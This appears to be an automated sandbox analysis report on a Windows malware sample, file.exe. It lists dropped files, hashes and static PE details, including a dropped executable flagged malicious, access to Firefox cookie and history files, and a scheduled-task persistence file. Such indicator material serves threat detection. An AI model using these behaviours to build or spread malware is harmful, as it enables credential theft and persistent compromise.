Preview:	L..................F.@.. ...$+.,....H..{H..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Yf=....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yf=....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Yf=....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Yf=..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Yg=...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............ .......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.004669299891631
Encrypted:	false
SSDEEP:	48:8xBdITswsHtZidAKZdA14tseh7sFiZUkmgqeh7sLy+BX:8x0PGnZy
MD5:	CC68A0457D72079EB8FFD0AA1440571A
SHA1:	43A7BA4F6577AEAE734A3F58013293344DD0423B
SHA-256:	EB399C8495C29B0D1091AE8B1CBC05F5081AAC909844938649A048C5B2F74584
SHA-512:	A6C49A5C7A90A23744508CCA6ACCB392B2C515D3EAC5079A906C754ABD39B2F884177960A223C5852717EA3B42A2135B7C863982EA70BFD065A652C91F5FF054
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Yf=....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yf=....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Yf=....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Yf=..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............ .......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Dec 7 06:43:13 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.990561278873835
Encrypted:	false
SSDEEP:	48:8vdITswtHtZidAKZdA1vehDiZUkwqehBy+R:8KPmTy
MD5:	7AA9ED679B8BC24C348A8F7F7EF9CD77
SHA1:	C2479CD3BB38F6C3A0AB1BA8DBADA3F817BD7441
SHA-256:	D0870320CA958F53F7B42CD730D5AA7669AE5D74829037BC2ABEF21151DDC289
SHA-512:	49B4B9A05748134FA77A4738F83D01F11F24787BCB20CE20789AFBB3B0BFF1F31491459078DE6F90D441DB006CB8DB1B7FFC5E81881657304BCB943A7C14CA03
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....m.{H..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Yf=....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yf=....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Yf=....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Yf=..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Yg=...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............ .......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Dec 7 06:43:13 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9828379274872594
Encrypted:	false
SSDEEP:	48:8ddITswtHtZidAKZdA1hehBiZUk1W1qehPy+C:8YPm9vy
MD5:	661A5B1FCD979D10A94074CE21251A7B
SHA1:	0CABD0278E3F42676CD0A84BC4A42CF654466F7B
SHA-256:	2914BE1D2206EBE00FA9387D6B1C4C35D43685B5CDF27CA8CC8EA79321D5D4CF
SHA-512:	46E591C1DBECA34F209F534A8268EEB08FBD0D91B2BC24BA546E14E023535146E586535DB4DDE7CF7C0A90237CEF4EA217C7EAD88437A49EBAE707904067634E
Malicious:	false
Preview:	L..................F.@.. ...$+.,....z..{H..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Yf=....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yf=....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Yf=....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Yf=..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Yg=...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............ .......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Dec 7 06:43:13 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.991350207444804
Encrypted:	false
SSDEEP:	48:8tdITswtHtZidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbZy+yT+:8oP4T/TbxWOvTbZy7T
MD5:	131715B3226957F7F34E5AE7A5C9C0CB
SHA1:	B72BC5FC5CC7B3C91C32E169342D97E413CFE827
SHA-256:	98AC77FC4815D719DB2F22CEF6C783BD4D5FD70A5306BA3E3BB39A25A4A9AC19
SHA-512:	FDA126659BC1346B2F451A5DFC22E6884AAEA4F087736EE6FEBED97BA1893BD57C9D14DBC9CFF83151920B1D54B0DEADB3312AFB67A56D3E18DC25B97CC66196
Malicious:	false
Preview:	L..................F.@.. ...$+.,...._.{H..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Yf=....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yf=....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Yf=....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Yf=..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Yg=...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............ .......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\GCGHCBKFCF.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3203584
Entropy (8bit):	6.6942866299672605
Encrypted:	false
SSDEEP:	24576:LutBNigQdawalydZuBPB6DQ/+wxwhEon8x05F+4c7mVP+ik1ma4pDNtJ8wDTRGBk:LutBYEYtgHeHXNdG37Mu0d6g
MD5:	437E5B85872F6D993B380398E86F4A3F
SHA1:	49E6F7F0676771E49CCA34DFBC13F0ED4F9A0D57
SHA-256:	45DB898A7B32B00C25AA1A06B0470B9F46CBA262FCA4601287CDB039DABE2822
SHA-512:	813D1144C608416E67C4337DC5C9E1DE3CD3C8C743E587CD5E708946D6A993946357DC5027A231E831BD4C70D767D50DB5DE23719EC53FDD834C784FB8C1AC96
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@.......................... 1......#1...@.................................W...k.............................0...............................0..................................................... . ............................@....rsrc...............................@....idata ............................@...pehggevz.0......$.................@...hfkshdco......0.......0.............@....taggant.0....0.."....0.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Documents\GCGHCBKFCF.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.405844582223817
Encrypted:	false
SSDEEP:	6:tjVX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lztXt0:3uQ1CGAFifXVzZt0
MD5:	298724D95B3EFD5E469A5A5566BA6520
SHA1:	C64700C4FBE1FBBBA3CF122EC268FF4C9A3BB8EA
SHA-256:	FD624F13AB67750A30FDA7C356EC5BB6A1E8681E43897027C96BDEECA19E837A
SHA-512:	CBA505395D47B6C30A5DA8BB5764A3A9D371955A2DEEACB404416218891B3E090287F60BCBBAF856009FD0DC9BC08AF76931CD6F06318229BD6E7D41DC608102
Malicious:	false
Preview:	......9MQ.mM..=..:{xF.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0.................,.@3P.........................

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2412)
Category:	downloaded
Size (bytes):	179299
Entropy (8bit):	5.547369532089825
Encrypted:	false
SSDEEP:	3072:eEBR1XAUw+9+in7oNRFhJpGOa9VMgoeSWInJ+LBIwK555ypuq/dP/JlpNMWzeAx+:eKR1tw+9+i7GFhJcOa/MgoeSWIJ+LBI/
MD5:	E51B78D04BF7FEADF2B7281088079FD5
SHA1:	47E0DCBBC95DA92A2B5E973C33200C3DD82E18A6
SHA-256:	7E8CC44AC8BED91DC83AF132CA1F374227C3A634F9020FFC66720C74A8DBAA53
SHA-512:	5377F671601862CBB506C1B33AA5F5ACAC2C451998C8A1A8E8C6754D2D11C96484483C081FB3A0407BAF1329D70F41ADE5CAB27993B6FA631384243BFC890813
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.b6tg1FFzATM.2019.O/rt=j/m=q_d,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTv_QWZGpfkLjSgGX6lavnloO0T86g"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (770)
Category:	downloaded
Size (bytes):	775
Entropy (8bit):	5.145592624376159
Encrypted:	false
SSDEEP:	24:Cj/sARA+iYxBHslgT9lCuABuoB7HHHHHHHYqmffffffo:q/swiOKlgZ01BuSEqmffffffo
MD5:	4BAA1B6B634025759290DB509C5271F3
SHA1:	58C1DC68CD62540281C91BD86E6FD64E1414F2F1
SHA-256:	A8CC1379ADED4E0225373757938ABBDD1C65198D1DD8207AB1BC4CFA980C8B26
SHA-512:	3E6DCB1E19EF381EEC2D57959EB219D549A62E57111E115A5FC7CF73DF4174E7B2C5B99F4B034EA10A2A9784944A64CE11BA3A996C00E68101B49E36C7BA32C1
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["wicked movie streaming date","philadelphia eagles vs carolina panthers","jingle joy monopoly go","the dodo","2026 hyundai palisade","shane bieber cleveland guardians","winter storm snow forecast","nj drones flying"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	134253
Entropy (8bit):	5.4414712237092715
Encrypted:	false
SSDEEP:	3072:fXkX33ov7GsG688fJbk/5xnsJLWjwR2i6o:f43lr6t2/5xnsJawR8o
MD5:	66DB34917F4C10C4EBF544AE400F589E
SHA1:	5805CED26A45F3D83B691C7FF36BCE71DFB4D6C5
SHA-256:	A797F08F1533664A7376912D856B504B2D4BA5FCAEC6012E0FA22A4947920A43
SHA-512:	53AD5BED2CD9E9CC125D8F7446027D5713E1D3C67465465D0B8F0A55466F786BEA5F7DAAD68C205935B7100F71DFF4E97D3C159B9021864D6C4C71B21425E476
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.526875825819894
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	5'181'952 bytes
MD5:	63f084ebdc49fddd2a095cee8789c100
SHA1:	35af18c8a7530a0cc91b78eead8fdaf1a2aaf76c
SHA256:	87581709e2bcf76b426a1281f395726f3816643734a5f36df6e4e3bb009af4cf
SHA512:	4be50ccc150a74d3f475acf52a66e1cc101562f8e916a7dac2ccf9865170b1c1323e84d779dd9ee5b984018c9036ba5229229b2d0b7d025c87fdc05deee98712
SSDEEP:	49152:QL60H++gloEy/PuRmIi7h6wJXzmwfj+xPwWJT:S60xgi/wKaFnJT
TLSH:	44362892BD0971CFE48E27795C27CD825D5D43B9471088D3B9ACA4BBBEA3CC115A7C28
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........PE..L...<.Jg...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8f2000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x674AE73C [Sat Nov 30 10:21:48 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FC14CCEEE6Ah

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
